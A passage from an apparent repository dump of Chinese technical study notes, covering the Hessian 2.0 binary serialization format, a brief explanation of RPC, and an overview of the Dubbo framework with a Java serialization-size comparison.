0x20\n```\n\n当二进制数据少于15的时候，可以用一个字节将他们编码。\n\n### 4.1.2 Binary Examples\n\n```\nx20               # zero-length binary data\n\nx23 x01 x02 x03   # 3 octet data\n\nB x10 x00 ....    # 4k final chunk of data\n\nb x04 x00 ....    # 1k non-final chunk of data\n```\n\n### 4.2 boolean\n\n```\nboolean ::= T\n        ::= F\n```\n\nThe octet 'F' represents false and the octet T represents true.\n\n\n### 4.3 日期\n\n时间编码：\n\n```\ndate ::= x4a b7 b6 b5 b4 b3 b2 b1 b0\n     ::= x4b b4 b3 b2 b1 b0\n```     \n\nDate represented by a 64-bit long of milliseconds since Jan 1 1970 00:00H, UTC.\n\n### 4.3.1 时间用分钟表示\n\nThe second form contains a 32-bit int of minutes since Jan 1 1970 00:00H, UTC.\n\n### 4.3.2 日期例子\n\nx4a x00 x00 x00 xd0 x4b x92 x84 xb8   # 09:51:31 May 8, 1998 UTC\n\nx4b x4b x92 x0b xa0                 # 09:51:00 May 8, 1998 UTC\n\n\n### 4.4 double\n\ndouble算法\n\n```\n\ndouble ::= D b7 b6 b5 b4 b3 b2 b1 b0\n       ::= x5b\n       ::= x5c\n       ::= x5d b0\n       ::= x5e b1 b0\n       ::= x5f b3 b2 b1 b0\n\n```\n\n### 4.4.1 紧凑的二进制的0\n\n可以用x5b代替double的0.0\n\n### 4.4.2 紧凑的二进制的1\n\n可以用x5c代替double的1.0\n\n### 4.4.3 double 的八位字节\n\ndouble 介于-128到127之间的无符号的可以用两个byte value来替代。\n\nvalue = (double)b0\n\n### 4.4.4\n\ndouble 介于-32768和32767之间无符号的double，可以用三个八位字节来替代。\n\nvalue = (double) (256 * b1 + b0)\n\n### 4.4.5\n\n32位浮点数可以转换成4位8字节二进制数\n\n\n### 4.4.6 double例子\n\n```\n\nx5b          # 0.0\nx5c          # 1.0\n\nx5d x00      # 0.0\nx5d x80      # -128.0\nx5d x7f      # 127.0\n\nx5e x00 x00  # 0.0\nx5e x80 x00  # -32768.0\nx5e x7f xff  # 32767.0\n\nD x40 x28 x80 x00 x00 x00 x00 x00  # 12.25\n\n```\n\n### 4.5 int\n\n```\nint ::= 'I' b3 b2 b1 b0\n    ::= [x80-xbf]\n    ::= [xc0-xcf] b0\n    ::= [xd0-xd7] b1 b0\n```\n\n一个32bit有符号整数，一个整数以'I'开头，后面跟着4个八个字节.\n\nvalue = (b3 << 24) + (b2 << 16) + (b1 << 8) + b0;\n\n### 4.5.1 单一的八字节数字\n\n数字介于-16至47之间的可以被编码成一个单独在x80到xbf之间。\n\nvalue = code - 0x90\n\n### 4.5.2 两个八字节的数字\n\n数字介于 -2048至2047，可以被编码成，两个八字节字符，规则是：\n\nvalue = ((code - 0xc8) << 8) + b0;\n\n### 4.5.4 用三个八位字节可以表示\n\nIntegers between -262144 and 262143 can be encoded in three bytes with the leading byte in the range xd0 to xd7.\n\nvalue = ((code - 0xd4) << 16) + (b1 << 8) + b0;\n\n### 4.5.4 Integer Examplses\n\n```\nx90                # 0\nx80                # -16\nxbf                # 47\n\nxc8 x00            # 0\nxc0 x00            # -2048\nxc7 x00            # -256\nxcf xff            # 2047\n\nxd4 x00 x00        # 0\nxd0 x00 x00        # -262144\nxd7 xff xff        # 262143\n\nI x00 x00 x00 x00  # 0\nI x00 x00 x01 x2c  # 300\n```\n\n\n### 4.6 list\n\nlist 语法\n\n```\nlist ::= x55 type value* 'Z'   # variable-length list\n     ::= 'V' type int value*   # fixed-length list\n     ::= x57 value* 'Z'        # variable-length untyped list\n     ::= x58 int value*        # fixed-length untyped list\n     ::= [x70-77] type value*  # fixed-length typed list\n     ::= [x78-7f] value*       # fixed-length untyped list\n```\n\n一个整齐的list，例如array。这两个list提供一个固定长度和可编长度的list，两个list都有一个类型，这个类型的String必须是一个可以被UTF-8支持的。\n\n每个列表项都添加到引用列表中，以处理共享和循环元素。参见REF元素。\n\n任何希望列表的解析器也必须接受null或共享引用。\n\n类型的有效值没有在本文档中指定，并可能取决于特定的应用程序。例如，在静态类型的语言中实现的一个服务器，它公开了一个Hessian接口，它可以使用类型信息实例化特定的数组类型。另一方面，服务器用动态类型的语言可能会忽视型完全的内容并创建一个通用阵列。\n\n### 4.6.1 确定长度的list\n\nHesssian 2.0  允许一个紧凑的形式列表的连续列表相同的类型，其中的长度是事先已知的。类型和长度由整数编码，其中类型是对较早指定类型的引用。\n\n### 4.6.2 List示例\n\n序列化一个int类型的数组，int[] = {0, 1}\n\n```\nV                    # fixed length, typed list\n  x04 [int           # encoding of int[] type\n  x92                # length = 2\n  x90                # integer 0\n  x91                # integer 1\n```\n\n没有类型长度可变的列表 list={0,1}\n```\nx57                  # variable-length, untyped\n  x90                # integer 0\n  x91                # integer 1\n  Z\n```\n\n定长类型\n```\nx72                # typed list length=2\n  x04 [int         # type for int[] (save as type #0)\n  x90              # integer 0\n  x91              # integer 1\n\nx73                # typed list length = 3\n  x90              # type reference to int[] (integer #0)\n  x92              # integer 2\n  x93              # integer 3\n  x94              # integer 4\n```\n\n\n### 4.7 long\n\nlong 语法\n\n```\nlong ::= L b7 b6 b5 b4 b3 b2 b1 b0\n     ::= [xd8-xef]\n     ::= [xf0-xff] b0\n     ::= [x38-x3f] b1 b0\n     ::= x4c b3 b2 b1 b0\n```\n\n\n64位有符号整数。一个长的字节x4c代表（L）随后在后面跟着八个比特。\n\n### 4.7.1 一位八比特能表示的数\n\nlong在-8至15是被一个八位比特替代的，在范围xd8至xef。\n\nvalue = (code - 0xe0)\n\n### 4.7.2 两位八比特能表示的long\n\nlong在-2048值2047之间，使用两位byte保存，在范围xf0至xff\nvalue = ((code - 0xf8) << 8 ) + b0\n\n### 4.7.3\n\n三位八比特能表示的数，范围在-262144至262143\nvalue = ((code - 0x3c) << 16) + (b1 << 8) + b0\n\n### 4.7.4\n\nlong能用32bite表示的数\n\nvalue = (b3 << 24) + (b2 << 16) + (b1 << 8) + b0\n\n### long例子\n\n```\nxe0                  # 0\nxd8                  # -8\nxef                  # 15\n\nxf8 x00              # 0\nxf0 x00              # -2048\nxf7 x00              # -256\nxff xff              # 2047\n\nx3c x00 x00          # 0\nx38 x00 x00          # -262144\nx3f xff xff          # 262143\n\nx4c x00 x00 x00 x00  # 0\nx4c x00 x00 x01 x2c  # 300\n\nL x00 x00 x00 x00 x00 x00 x01 x2c  # 300\n```\n\n### 4.8\n\nMap语法\n\n``map        ::= M type (value value)* Z ``\n\n表示序列化的映射，并表示对象。类型元素描述映射的类型。\n\n这个类型可能为空，一个长度为0，程序解释器会自动选择一个类型，如果一个值是没有类型的，对于对象，一个未确认的key将会被忽略。\n\n每一个映射被添加到参考列表中，一些时间，语法解析程序期望一个映射，它必须支持空或者引用,这个类型被服务器选择。\n\n\n### 4.8.1 Map的例子\n\n```\nmap = new HashMap();\nmap.put(new Integer(1), \"fee\");\nmap.put(new Integer(16), \"fie\");\nmap.put(new Integer(256), \"foe\");\n\n---\n\nH           # untyped map (HashMap for Java)\n  x91       # 1\n  x03 fee   # \"fee\"\n\n  xa0       # 16\n  x03 fie   # \"fie\"\n\n  xc9 x00   # 256\n  x03 foe   # \"foe\"\n\n  Z\n```\n\n集合表示一个java对象\n\n```\npublic class Car implements Serializable {\n  String color = \"aquamarine\";\n  String model = \"Beetle\";\n  int mileage = 65536;\n}\n\n---\nM\n  x13 com.caucho.test.Car  # type\n\n  x05 color                # color field\n  x0a aquamarine\n\n  x05 model                # model field\n  x06 Beetle\n\n  x07 mileage              # mileage field\n  I x00 x01 x00 x00\n  Z\n```\n\n### 4.9 null\n\nnull语法\n\nnull代表一个空指针\n'N'代表空的值\n\n### 4.10 object\n\nobject 语法\n\n```\nclass-def  ::= 'C' string int string*\n\nobject     ::= 'O' int value*\n           ::= [x60-x6f] value*\n```\n\n\n### 4.10.1 类定义\n\nHessian2.0有一个紧凑的对象,字段只会序列化一次，以下对象只会序列化它们的值。\n\n对象定义包括强制类型字符串、字段数和字段名。对象定义存储在对象定义映射中，并且将由具有整数引用的对象实例引用。\n\n\n### 4.10.2 对象实例\n\nHessian2.0有一个紧凑的对象,字段只会序列化一次，以下对象只会序列化它们的值。\n\n对象实例化根据前面的定义创建一个新对象。整数值是指对象定义。\n\n\n### 4.10.3 对象示例\n\n对象序列化\n\n```\nclass Car {\n  String color;\n  String model;\n}\n\nout.writeObject(new Car(\"red\", \"corvette\"));\nout.writeObject(new Car(\"green\", \"civic\"));\n\n---\n\nC                        # object definition (#0)\n  x0b example.Car        # type is example.Car\n  x92                    # two fields\n  x05 color              # color field name\n  x05 model              # model field name\n\nO                        # object def (long form)\n  x90                    # object definition #0\n  x03 red                # color field value\n  x08 corvette           # model field value\n\nx60                      # object def #0 (short form)\n  x05 green              # color field value\n  x05 civic              # model field value\n```\n\n```\nenum Color {\n  RED,\n  GREEN,\n  BLUE,\n}\n\nout.writeObject(Color.RED);\nout.writeObject(Color.GREEN);\nout.writeObject(Color.BLUE);\nout.writeObject(Color.GREEN);\n\n---\n\nC                         # class definition #0\n  x0b example.Color       # type is example.Color\n  x91                     # one field\n  x04 name                # enumeration field is \"name\"\n\nx60                       # object #0 (class def #0)\n  x03 RED                 # RED value\n\nx60                       # object #1 (class def #0)\n  x90                     # object definition ref #0\n  x05 GREEN               # GREEN value\n\nx60                       # object #2 (class def #0)\n  x04 BLUE                # BLUE value\n\nx51 x91                   # object ref #1, i.e. Color.GREEN\n```\n\n\n### 4.11 ref\n\nRef 语法\n\nref ::= x51 int\n\n指上一个列表、映射或对象实例的整数。当每个列表、映射或对象从输入流中读取时，它被分配到流中的整数位置，即第一个列表或映射是“0”，下一个是“1”，等等，后面的引用可以使用前面的对象。作者可以生成参考文献。解析器必须能够识别它们。\n\nREF可以引用不完全读项。例如，在整个列表被读取之前，循环链表将引用第一个链接。\n\n一个可能的实现是将每个映射、列表和对象添加到数组中，因为它是被读取的。REF将从数组返回相应的值。为了支持循环结构，在填充内容之前，实现将立即存储映射、列表或对象。\n\n每个映射或列表在解析时存储在数组中。REF选择一个存储的对象。第一个对象编号为“0”。\n\n# 4.11.1 Ref 例子\n\n```\nlist = new LinkedList();\nlist.data = 1;\nlist.tail = list;\n\n---\nC\n  x0a LinkedList\n  x92\n  x04 head\n  x04 tail\n\no x90      # object stores ref #0\n  x91      # data = 1\n  x51 x90  # next field refers to itself, i.e. ref #0\n\n```\n\nref仅涉及到list，map和object。\n\n\n### 4.12 string\n\nstring 语法\n\n```\nstring ::= x52 b1 b0 <utf8-data> string\n       ::= S b1 b0 <utf8-data>\n       ::= [x00-x1f] <utf8-data>\n       ::= [x30-x33] b0 <utf8-data>\n```\n\n一个16比特，利用utf-8的双字节编码，字符串会按块编码，非最后一块会用'R'来表示，最后一块会用'S'来表示，每一块都有一个16比特无符号整型长度的bytes。\n\n16比特字符的长度，可能与字节的个数不相同。\n\n字符串可能不能成对拆分。　\n\n### 4.12.1 短字符串\n\n长度小于32的字符串可能使用单字节编码。\n\nvalue = code;\n\n### 4.12.2 String 例子\n\n```\nx00                 # \"\", empty string\nx05 hello           # \"hello\"\nx01 xc3 x83         # \"\\u00c3\"\n\nS x00 x05 hello     # \"hello\" in long form\n\nx52 x00 x07 hello,  # \"hello, world\" split into two chunks\n  x05 world\n```\n\n\n### 4.12 type\n\ntype 语法\n\n```\ntype ::= string\n     ::= int\n```\n\n一个map或者list包含的属性，这个属性的属性名将会被标示，用在面向对象的语言中。每一个类型都会被添加到type map中，给未来提供一个参考。\n\n\n### 4.14 类型参考\n\n重复类型的String的key，将会用type map来查询先前用过的类型，在解析过程中，这个类型应该是不依赖于任何类型的。\n\n## Bytecode map\n\n```\nx00 - x1f    # utf-8 string length 0-32\nx20 - x2f    # binary data length 0-16\nx30 - x33    # utf-8 string length 0-1023\nx34 - x37    # binary data length 0-1023\nx38 - x3f    # three-octet compact long (-x40000 to x3ffff)\nx40          # reserved (expansion/escape)\nx41          # 8-bit binary data non-final chunk ('A')\nx42          # 8-bit binary data final chunk ('B')\nx43          # object type definition ('C')\nx44          # 64-bit IEEE encoded double ('D')\nx45          # reserved\nx46          # boolean false ('F')\nx47          # reserved\nx48          # untyped map ('H')\nx49          # 32-bit signed integer ('I')\nx4a          # 64-bit UTC millisecond date\nx4b          # 32-bit UTC minute date\nx4c          # 64-bit signed long integer ('L')\nx4d          # map with type ('M')\nx4e          # null ('N')\nx4f          # object instance ('O')\nx50          # reserved\nx51          # reference to map/list/object - integer ('Q')\nx52          # utf-8 string non-final chunk ('R')\nx53          # utf-8 string final chunk ('S')\nx54          # boolean true ('T')\nx55          # variable-length list/vector ('U')\nx56          # fixed-length list/vector ('V')\nx57          # variable-length untyped list/vector ('W')\nx58          # fixed-length untyped list/vector ('X')\nx59          # long encoded as 32-bit int ('Y')\nx5a          # list/map terminator ('Z')\nx5b          # double 0.0\nx5c          # double 1.0\nx5d          # double represented as byte (-128.0 to 127.0)\nx5e          # double represented as short (-32768.0 to 327676.0)\nx5f          # double represented as float\nx60 - x6f    # object with direct type\nx70 - x77    # fixed list with direct length\nx78 - x7f    # fixed untyped list with direct length\nx80 - xbf    # one-octet compact int (-x10 to x3f, x90 is 0)\nxc0 - xcf    # two-octet compact int (-x800 to x7ff)\nxd0 - xd7    # three-octet compact int (-x40000 to x3ffff)\nxd8 - xef    # one-octet compact long (-x8 to xf, xe0 is 0)\nxf0 - xff    # two-octet compact long (-x800 to x7ff, xf8 is 0)\n```\n\n\n\n\n\n\n\n\n\n"
  },
  {
    "path": "docs/android/AndroidNote/网络协议/浅析RPC协议.md",
    "content": "# 浅析RPC协议\n\n> RPC是一种通过网络从远程计算机程序上请求服务，而不需要了解底层网络技术的协议。RPC协议假定某些传输协议的存在，如TCP或UDP，为通信程序之间携带信息数据。在OSI网络通信模型中，RPC跨越了传输层和应用层。RPC使得开发包括网络分布式多程序在内的应用程序更加容易。 \nRPC采用客户机/服务器模式。请求程序就是一个客户机，而服务提供程序就是一个服务器。首先，客户机调用进程发送一个有进程参数的调用信息到服务进程，然后等待应答信息。在服务器端，进程保持睡眠状态直到调用信息到达为止。当一个调用信息到达，服务器获得进程参数，计算结果，发送答复信息，然后等待下一个调用信息，最后，客户端调用进程接收答复信息，获得进程结果，然后调用执行继续进行。\n\n\n\n\n\n![RPC工作原理](https://raw.githubusercontent.com/astaxie/build-web-application-with-golang/master/zh/images/8.4.rpc.png)\n\n工作流程:\n\n1.调用客户端句柄；执行传送参数\n2.调用本地系统内核发送网络消息\n3.消息传送到远程主机\n4.服务器句柄得到消息并取得参数\n5.执行远程过程\n6.执行的过程将结果返回服务器句柄\n7.服务器句柄返回结果，调用远程系统内核\n8.消息传回本地主机\n9.客户句柄由内核接收消息\n10.客户接收句柄返回的数据\n\nRPC算法中一些需要我们解决的问题：\n\n1.通讯问题，可以是建立tcp链接，在通信成功后释放链接，也可以保持长链接\n2.寻址问题，需要知道服务器的ip地址，端口，方法名等，所以需要注册服务中心\n3.传输过程中，不可避免的就是序列化和反序列化的过程\n\n以上的问题，我们都可以在rpc 的开源框架中找到解决方案。\n"
  },
  {
    "path": "docs/android/AndroidNote/网络协议/浅析dubbo服务.md",
    "content": "# 浅析Dubbo服务\n\n> Dubbo是阿里开源的一个分布式服务框架，致力于提供高性能和透明化的RPC远程调用方案，以及SOA服务治理方案。\n> Dubbo是阿里巴巴SOA服务化治理方案的核心框架，每天为2,000+个服务提供3,000,000,000+次访问量支持，并被广泛应用于阿里巴巴集团的各成员站点。Dubbo是一个分布式服务框架，致力于提供高性能和透明化的RPC远程服务调用方案，以及SOA服务治理方案。\n\n\n##  转变的历程\n\n1. 单一应用框架(ORM)\n\n当网站流量小时，只需一个应用，可以将所有功能都部署在一起，这样可以减少部署的节点和成本。\n\n缺点：单一的系统架构，使得在开发过程中，占用的资源越来越多，随着流量的增加，将会越来越难维护。\n\nDubbo采用微内核+插件话体系，设计十分优雅，扩展性强。\n\n![单一应用架构](http://img.blog.csdn.net/20170417183808108?watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvbm9hbWFuX3dncw==/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/SouthEast)\n\n2. 垂直应用架构(MVC)\n\n垂直应用架构解决了单一应用架构所面临的扩容问题，容量能够分散到各个子系统当中，且系统的体积可控，一定程度上降低了开发人员协同以及维护的成本，提升了开发效率。\n\n缺点：在垂直架构中相同逻辑代码需要不断复制，不能复用。\n\n![垂直应用架构](http://img.blog.csdn.net/20170417183837616?watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvbm9hbWFuX3dncw==/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/SouthEast)\n\n\n3. 分布式应用架构(RPC)\n\n当垂直应用越来越多的时候，应用之间的交互是不可避免的，将核心业务抽取出来，作为独立的服务，逐渐形成稳定的服务中心。\n\n![分布式应用架构](http://img.blog.csdn.net/20170417184005890?watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvbm9hbWFuX3dncw==/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/SouthEast)\n\n4. 流动计算架构(SOA)\n\n随着服务化的进一步服务，服务越来越多，服务之间的调用和依赖关系也越来越复杂，诞生了面向服务的架构体系(SOA),也因此衍生了一系列相应的结束，如对服务提供，链接处理，通信协议，序列化方式，服务发现，服务路由，日志输出等行为进行封装的服务框架\n\n\n![比较图](http://img.blog.csdn.net/20170417184119640?watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvbm9hbWFuX3dncw==/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/SouthEast)\n\n- 单一应用架构\n\n当网站流量很小时，只需一个应用，将所有功能都部署在一起，以减少部署节点和成本。\n此时，用于简化增删改查工作量的 数据访问框架(ORM) 是关键。\n\n- 垂直应用架构\n\n当访问量逐渐增大，单一应用增加机器带来的加速度越来越小，将应用拆成互不相干的几个应用，以提升效率。\n此时，用于加速前端页面开发的 Web框架(MVC) 是关键。\n\n- 分布式服务架构 \n\n当垂直应用越来越多，应用之间交互不可避免，将核心业务抽取出来，作为独立的服务，逐渐形成稳定的服务中心，使前端应用能更快速的响应多变的市场需求。\n此时，用于提高业务复用及整合的 分布式服务框架(RPC) 是关键。\n\n- 流动计算架构\n\n当服务越来越多，容量的评估，小服务资源的浪费等问题逐渐显现，此时需增加一个调度中心基于访问压力实时管理集群容量，提高集群利用率。\n此时，用于提高机器利用率的 资源调度和治理中心(SOA) 是关键。\n\n\n## RPC(Remote Procedure Call Protocol)(远程过程调用协议)\n\n当我们有两台服务器A、B,分别部署了不同的应用a,b，当服务器A 想调用服务器B上面提供的方法的时候，这个是不能够直接调用的，这个时候就需要通过网络来表达调用的语义和调用的数据，这个时候远程调用服务的概念就产生了。\n\n> RPC是一种通过网络从远程计算机程序上请求服务，而不需要了解底层网络技术的协议。RPC协议假定某些传输协议的存在，如TCP或UDP，为通信程序之间携带信息数据。在OSI网络通信模型中，RPC跨越了传输层和应用层。RPC使得开发包括网络分布式多程序在内的应用程序更加容易。 \nRPC采用客户机/服务器模式。请求程序就是一个客户机，而服务提供程序就是一个服务器。首先，客户机调用进程发送一个有进程参数的调用信息到服务进程，然后等待应答信息。在服务器端，进程保持睡眠状态直到调用信息到达为止。当一个调用信息到达，服务器获得进程参数，计算结果，发送答复信息，然后等待下一个调用信息，最后，客户端调用进程接收答复信息，获得进程结果，然后调用执行继续进行。\n\n\n## Dubbo的概念\n\n### Dubbo概念\n\n- 一款分布式服务框架\n- 高性能和透明化的RPC远程服务调用方案\n- SOA服务治理方案\n\n> Dubbo是一个分布式服务框架，以及SOA治理方案。其功能主要包括：高性能NIO通讯及多协议集成，服务动态寻址与路由，软负载均衡与容错，依赖分析与降级等。 \n\n### Dubbo适用于哪些场景\n\n当网站变大后，不可避免的需要拆分应用进行服务化，以提高开发效率，调优性能，节省关键竞争资源等。 \n\n当服务越来越多时，服务的URL地址信息就会爆炸式增长，配置管理变得非常困难，F5硬件负载均衡器的单点压力也越来越大。 \n\n当进一步发展，服务间依赖关系变得错踪复杂，甚至分不清哪个应用要在哪个应用之前启动，架构师都不能完整的描述应用的架构关系。 \n\n接着，服务的调用量越来越大，服务的容量问题就暴露出来，这个服务需要多少机器支撑？什么时候该加机器？等等…… \n\n在遇到这些问题时，都可以用Dubbo来解决。 \n\n### Dubbo的设计思路\n\n该框架具有极高的扩展性，采用微核+插件体系，并且文档齐全，很方便二次开发，适应性极强。 \n\n\n### Dubbo架构\n\n![](http://img.blog.csdn.net/20170417185019149?watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvbm9hbWFuX3dncw==/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/SouthEast)\n\nProvider:暴露服务的服务提供方\nConsumer:调用远程服务的服务消费方\nRegistry:服务注册与发现注册中心\nMonitor:统计服务的调用次数和调用时间的监控中心\n\n调用流程：\n0.服务容器负责启动，加载，运行服务提供者。 \n1.服务提供者在启动时，向注册中心注册自己提供的服务。 \n2.服务消费者在启动时，向注册中心订阅自己所需的服务。 \n3.注册中心返回服务提供者地址列表给消费者，如果有变更，注册中心将基于长连接推送变更数据给消费者。 \n4.服务消费者，从提供者地址列表中，基于软负载均衡算法，选一台提供者进行调用，如果调用失败，再选另一台调用。 \n5.服务消费者和提供者，在内存中累计调用次数和调用时间，定时每分钟发送一次统计数据到监控中心\n\n\n### Dubbo注册中心\n\n对于服务提供方，它需要发布服务。\n对于消费方，它需要获取提供方提供的服务。\n当然，也可以即是提供方也是消费方。\n通过服务统一管理起来，可以有效地优化内部应用对服务发布/使用的管理。服务注册中心可以通过特定协议来完成对外的统一。\n\n\nDubbo提供的注册中心有如下几种类型可供选择： \n* Multicast注册中心 \n* Zookeeper注册中心 \n* Redis注册中心 \n* Simple注册中心\n\n\n### Dubbo优点\n\n优点： \n1. 透明化的远程方法调用 \n- 像调用本地方法一样调用远程方法；只需简单配置，没有任何API侵入。 \n2. 软负载均衡及容错机制 \n- 可在内网替代nginx lvs等硬件负载均衡器。 \n3. 服务注册中心自动注册 & 配置管理 \n-不需要写死服务提供者地址，注册中心基于接口名自动查询提供者ip。 \n使用类似zookeeper等分布式协调服务作为服务注册中心，可以将绝大部分项目配置移入zookeeper集群。 \n4. 服务接口监控与治理 \n-Dubbo-admin与Dubbo-monitor提供了完善的服务接口管理与监控功能，针对不同应用的不同接口，可以进行 多版本，多协议，多注册中心管理。\n\n\n### Dubbo序列化协议\n\n#### Hessian协议\n\nHessian是一个轻量级的RPC服务，它是基于Binary-RPC协议实现的，他会序列化反序列化你的实例，它的传输协议时Http协议，在dubbo中，主要应用到了它的序列化的协议。\n\nhessian适合发送二进制数据，通过hessian序列化后的包，包的体积会比java自带的小一些。\n\n\n和java自带的序列化做一个对比\n\n```\n\npublic class Main {\n\n\tprivate static long time1;\n\tprivate static long time2;\n\n\tpublic static byte[] hessianSerialize(Object obj) throws IOException {\n\t\tlong nowTime = System.currentTimeMillis();\n\t\tif (obj == null)\n\t\t\tthrow new NullPointerException();\n\n\t\tByteArrayOutputStream os = new ByteArrayOutputStream();\n\t\tHessianOutput ho = new HessianOutput(os);\n\t\tho.writeObject(obj);\n\t\ttime1 = System.currentTimeMillis() - nowTime;\n\t\treturn os.toByteArray();\n\t}\n\n\tpublic Object hessianDeserialize(byte[] by) throws IOException {\n\t\tif (by == null)\n\t\t\tthrow new NullPointerException();\n\n\t\tByteArrayInputStream is = new ByteArrayInputStream(by);\n\t\tHessianInput hi = new HessianInput(is);\n\t\treturn hi.readObject();\n\t}\n\n\tpublic static byte[] javaSerialize(Object obj) throws Exception {\n\t\tlong noewTime = System.currentTimeMillis();\n\t\tif (obj == null)\n\t\t\tthrow new NullPointerException();\n\n\t\tByteArrayOutputStream os = new ByteArrayOutputStream();\n\t\tObjectOutputStream out = new ObjectOutputStream(os);\n\t\tout.writeObject(obj);\n\t\ttime2 = System.currentTimeMillis() - noewTime;\n\t\treturn os.toByteArray();\n\t}\n\n\tpublic Object javaDeserialize(byte[] by) throws Exception {\n\n\t\tif (by == null)\n\t\t\tthrow new NullPointerException();\n\n\t\tByteArrayInputStream is = new ByteArrayInputStream(by);\n\t\tObjectInputStream in = new ObjectInputStream(is);\n\t\treturn in.readObject();\n\t}\n\n\tpublic static void main(String[] args) throws Exception {\n\n\t\tPeople people = new People(19, \"222333222233332222\", \"关玮琳\", \"健康\");\n\t\tPeople people2 = new People(21, \"555333222233332222\", \"张三\", \"不健康\");\n\t\tbyte[] hessianByte = hessianSerialize(people);\n\t\tbyte[] javaByte = javaSerialize(people2);\n\n\t\tSystem.out.println(\"hessianByte 序列化后的长度   \" + hessianByte.length);\n\t\tSystem.out.println(\"javaSerialize 序列化后的长度   \" + javaByte.length);\n\n\t\tSystem.out.println(\"hessianByte 序列化时常  \" + time1);\n\t\tSystem.out.println(\"javaSerialize 序列化时常  \" + time2);\n\n\t}\n\n}\n\n\n```\n\n结果：\n\n```\nhessianByte 序列化后的长度   86\njavaSerialize 序列化后的长度   132\nhessianByte 序列化时常  51\njavaSerialize 序列化时常  16\n```\n\n#### Hessian语法\n\n```\n        #starting production\ntop     ::=value\n\n        #分割成64k每chunk的8-bit二进制数据\nbinary  ::= 'b' b1 b0 <binary-data> binary  #不是最后一个chunk\n        ::= 'B' b1 b0 <binary-data>         #最后一个chunk\n        ::= [x20-x2f] <binary-data>         #长度范围为 0-15\n\n        #boolean true/false\nboolean ::= 'T'\n        ::= 'F'\n\n        #对象的定义(compact map)\nclass-def ::= 'O' type int string*\n\n        #time in UTC encoded as 64-bit long milliseconds since epoch\ndate    ::= 'd' b7 b6 b5 b4 b3 b2 b1 b0\n\n        #64-bit IEEE double\ndouble  ::= 'D' b7 b6 b5 b4 b3 b2 b1 b0\n        ::= x67                         #0.0\n        ::= x68                         #1.0\n        ::= x69 b0                      #byte表示的double(-128.0 to 127.0)\n        ::= x6a b1 b0                   #short表示的double\n        ::= x6b b3 b2 b1 b0             #32-bit float表示的double\n\n        #32-bit 有符号整型\nint     ::= 'I' b3 b2 b1 b0\n        ::= [x80-xbf]                   #-x10 to x3f\n        ::= [xc0-xcf] b0                #-x800 to x7ff\n        ::= [xd0-xd7] b1 b0             #-x40000 to x3ffff\n\n        # list/vector length\nlength  ::= 'l' b3 b2 b1 b0\n        ::= x6e int\n\n        # list/vector\nlist    ::= 'V' type? length? value* 'z'\n        ::= 'v' int int value*          #第一个int表示类型引用, 第二个int表示长度\n\n        #64-bit有符号long\nlong    ::= 'L' b7 b6 b5 b4 b3 b2 b1 0\n        ::= [xd8-xef]                   #-x08 to x0f\n        ::= [xf0-xff] b0                #-x800 to x7ff\n        ::= [x38-x3f] b1 b0             #-x40000 to x3ffff\n        ::= x77 b3 b2 b1 b0             #32-bit 整型表示的long\n\n        #map/object\nmap     ::= 'M' type? (value value)* 'z'    #key, value map pairs\n\n        # null value\nnull    ::= 'N'\n\n        #对象实例\nobject  ::= 'o' int value*\n\n        #值引用\nref     ::= 'R' b3 b2 b1 b0 # 对流中第n个map/list/object的引用\n\n        ::= x4a b0          # 对map/list/object的引用，范围为1-255th\n        ::= x4b b1 b0       # 对map/list/object 的引用，范围为1-65535th\n\n        #UTF-8 编码的字符串，分割成64k大小的chunks\nstring  ::= 's' b1 b0 <utf8-data> string    #非末尾chunk\n        ::= 'S' b1 b0 <utf8-data>           #长度范围为(0-65535)的字符串\n        ::=[x00-x1f] <utf8-data>            #长度范围为(0-31) 的字符串\n\n        #map/list 的类型（针对面向对象语言)\ntype    ::= 't' b1 b0 <type-string>     #类型名称\n        ::= x75 int                     #类型引用值（用整数表示）\n\n        #main production\nvalue   ::=null\n        ::= binary\n        ::= boolean\n        ::= date\n        ::= double\n        ::= int\n        ::= list\n        ::= long\n        ::= map\n        ::= class-def value\n        ::= ref\n        ::= string\n```\n\n\n#### 可序列化的类型\n\n1. 原始二进制数据\n2. boolean\n3. 64-bit date\n4. 64-bit double\n5. 32-bit int\n6. 64-bit long\n7. null\n8. UTF8编码的string\n\n另外包括3种递归类型：\n\n1. list for lists and arrays\n2. map for maps and dictionaries\n3. object for objects\n\n最后，它还包含一个特殊的类型：\n\n1. ref 用来表示对共享对象的引用.\n\nHessian 2.0有3个内部的引用表:\n\n1. 一个object/list 引用表.\n2. 一个类型定义(class definition)引用表.\n3. 一个type(class name)引用表.\n\n\n\n## 参考文献\n\n[什么是Hessian协议呢？](http://www.cnblogs.com/caogang/p/4598406.html)\n\n[hessian学习基础篇——序列化和反序列化](http://lionbule.iteye.com/blog/523355)\n\n[Dubbo原理解析](http://blog.csdn.net/column/details/learningdubbo.html?&page=1)\n\n[Dubbo入门基础与实例讲解](http://blog.csdn.net/Evankaka/article/details/48009645)\n\n\n\n\n"
  },
  {
    "path": "docs/android/AndroidNote/网络协议/浅析socket.md",
